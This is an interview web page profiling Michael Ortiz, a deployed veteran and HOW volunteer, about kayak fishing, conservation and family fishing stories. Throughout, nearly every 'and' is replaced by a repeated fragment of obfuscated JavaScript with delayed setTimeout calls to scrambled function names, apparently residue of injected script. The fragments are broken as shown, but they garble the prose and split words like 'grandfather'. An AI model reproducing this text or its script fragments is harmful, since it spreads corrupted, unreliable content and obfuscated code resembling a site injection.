Michael Ortiz

 

As a veteran andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Fort Bragg-based HOW volunteer, Michael Ortiz knows both sides of the group’s equation. An angler since his fourth year of life, Michael drew upon his experience andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and talent to earn, after a short two years of kayak fishing, a coveted spot on the Wilderness Systems Pro Fishing Staff. Currently stationed in Afghanistan with the 82nd Airborne Division, Michael is looking forward to returning to the sport, volunteering with HOW, chasing the elusive flounder, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and enjoying life as a kayak angling guide.

What first drew you to this style of angling? When was that?

I was surf fishing in Texas, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and saw some guy fishing from a kayak. Something about just being out there in the water like that drew me in. I went andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and got my first yak that next weekend. It was 2010.


Do you remember the first fish that you caught from a kayak?

I do! It was actually a Guadalupe Bass I caught on the Guadalupe River just outside of San Antonio. It was about a pound, but every time I tell that story the fish gets bigger. The first saltwater fish was a Gaft tail Catfish. I had yet to learn the art of the inshore Reds! So I was just hanging around in deeper water of the beach.


 

 

You are currently stationed in Afghanistan, serving your fourth tour of duty, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and awaiting the day in which you can return to the sport you love – perhaps even in the capacities of professional kayak angling guide andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and HOW mentor. What advice would you give to a kayak angling-curious veteran thinking about making an initial call to a local HOW chapter?

Do it!

For me, working with the guys andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and girls from HOW has been life changing. To see people who have a very similar frame of mind is healing for me, as well, while we are on the water. Introducing both warriors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and volunteers to the sport only adds to the passion. I have fished with Vets from Vietnam, Desert Storm, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the current War on Terror…our stories, while different, are very much the same. That is what drew me in to working with others andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and helping them heal themselves on the water.


What food andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and/or music fuels your drive to the put-in?

My buddy Dean “Slowride” Thomas would tell you I was crazy, but I have a routine/ritual I do before every trip…I get a cup of coffee, 2 energy drinks, a lemon pie, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and trail mix…it’s the energy drink that sparks the crazy comment…I shake it up so it explodes when I open it (letting the fish know I am coming haha). As for the music, just whatever is on the radio really. Usually listening to country music before I put in.


 

 

Who, specifically, is shaping the future of kayak angling?

Handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands down, Dean “Slowride” Thomas. He got me into the sport in ways I have never seen; his influence to people all over the world is amazing. He is a true ambassador to the sport.


With regard to kayak angling, what issues are important to you? What, if anything, can be done about them?

Conservation of the sport, the areas we fish, as well as the fish. To practice CPR andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and get the fish on its way, I only use single hooks on all of my lures. I don’t use live bait, as I have seen that, unless I am going to keep what I catch, the fish usually swallow everything andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in turn usually causes too much damage to let do. Flying andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and top-water allow me to control the set of the hook. Kayaking also adds a unique way to cover water with little damage to the ecosystem, although I have nothing against boats – I find that people who don’t pay attention to their surroundings or water levels do more harm than good with their props. I think teaching andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and preaching the potential harm, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and protecting certain areas, are key to our sport.


 

 

You are a self-proclaimed lover of top water action andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fly fishing, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, as such, have placed yourself within a camp that truly values the visual excitement of the strike. To what do you attribute your affinity for this sensory experience?

The first fish I caught on a top-water was a ladyfish. It came out of the water andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I didn’t have a clue what it was or what to do. I was actually just practicing “walking the dog,” andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and my heart jumped. I almost fell out of my kayak; it was crazy. Then seeing a red “waking” behind your lure -if that doesn’t get your blood going nothing will. Sometimes the miss is almost cooler than the catch. I have had reds blow up on a top-water andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and send it flying 5 feet in the air. I swear that is how people lose their rods in the water; you see explosions like that…I might have dropped a rod or 2 from that… just sayin’!


Barring money or logistics, what is your dream kayak angling trip?

To be 100% honest… I would love to just get back down to Aransas Pass again. I am “home” there, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands down I would pick that place in a heartbeat.


 

 

What’s in your milk crate?

Box of flies, box of top-waters, box of DOAs, my energy drinks, camera, 3 fishing poles, 2 turtle doves, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a partridge in a pear tree!


Tell us about your best day on the water.

I have 2. The first would be the first time I did Casting for a Cause with Dean “Slowride” Thomas andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and HOW; the fact I got to be with a bunch of fellow veterans andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and wounded warriors was awesome, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it was also the day I caught my biggest redfish – 30.5in on a super spook Jr. The second would be the first time I got my dad out on the water,. He had never been in a kayak, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and  I was watching him have a field day on speckled trout down in Aransas Pass.


 

 

What is the kayak fishing lifestyle?

I would say we are a unique group of anglers, mellow (sometimes – haha), andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and just enjoy the sport. The good thing about being a kayak angler is you really can’t be a hothead on the water – scares all the fish! We like to sit on the porch after a long day of fishing andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and just chill out, we have really big arms from paddling andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tiny legs from just sitting… haha just kidding.


Tell us a story, any story.

I have a species of fish that has refused to cooperate with me, the elusive flounder! The first time I went after flounder, Dean “Slowride” Thomas was ASSURING me that he knew where to find them… so we fished… andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fished… andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fished…nothing. On the last hole, on the last cast, instead of letting me get the first toss he drops his lure in andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and catches a damn flounder, the lifts it out of the water, drops it in my kayak, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and whilst laughing says, “Mike meet flounder, flounder this is Mike.” Smart ass. That was in Texas.

Then my brother, Adam, who had never fished on a kayak, came to fish down in North Carolina with me. While I was slamming some good Specs, I hear him yelling, “Michael, look… it’s that fish you can never catch!” I mean, why couldn’t it be “hey, look at my flounder!”, but somehow my name andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and inability to catch one has to tossed in there every time. No justice I swear!


 

 

Your first angling mentor was your grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andfather, a man who instilled in you both talent andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and passion. He passed away during your teenage years, but his angling abilities andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and outdoors-directed respect live on within you. If he were alive today, what would your grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andfather have to say about your chosen fishing methodology?

He would ask where his kayak was at. He loved to be outdoors. I would have to get him off night crawlers, though, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and teach him to work a top-water. But he’d be all for it.


What does the future hold for you?

I wish I knew. I know that if in my future I am fishing, life is still pretty good.


 

*Imagery courtesy of Dean Thomas andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Steve Garcia

One Response to “Michael Ortiz”

  1. Awesome read!! from one HOW volunteer and vet to another – thanks!!

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